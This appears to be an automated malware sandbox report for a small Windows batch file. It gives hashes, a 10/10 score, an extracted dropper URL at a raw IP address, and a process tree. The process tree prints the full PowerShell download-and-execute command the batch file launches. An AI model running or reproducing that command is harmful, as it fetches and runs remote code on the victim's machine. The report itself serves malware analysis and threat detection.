79aa8d7a7be4115acea3af97412982e19a243d37031ca75779e0d00d68127701 | Triage

Analysis

max time kernel
64s
max time network
67s
platform
windows10_x64
resource
win10v200430
submitted
17-05-2020 02:10

Sharing

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General

Target

1f8c25780845b838f9e4e236cecde44a.bat
Size

220B
MD5

aec4b8da44e26c2a159705665e2fd49d
SHA1

24ebd61f5b8568a107ee16f17ae0bc3b07887b00
SHA256

79aa8d7a7be4115acea3af97412982e19a243d37031ca75779e0d00d68127701
SHA512

102759db61f6c214329230c3730e732d62bf5e114d2f712166bb6a811d93d1e7364bd68b3af95a2ab3dc48d225c28910278d2479a601aa676f6875670f634094

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/1f8c25780845b838f9e4e236cecde44a

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

400 584 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 400 WerFault.exe
Token: SeBackupPrivilege 400 WerFault.exe
Token: SeDebugPrivilege 400 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1f8c25780845b838f9e4e236cecde44a.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1f8c25780845b838f9e4e236cecde44a');Invoke-PBOOTODBDYZFW;Start-Sleep -s 10000"
2⤵
PID:584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:400

Network

MITRE ATT&CK Matrix

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Downloads

memory/400-0-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

Filesize
4KB

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memory/400-1-0x0000000005250000-0x0000000005251000-memory.dmp

Filesize
4KB

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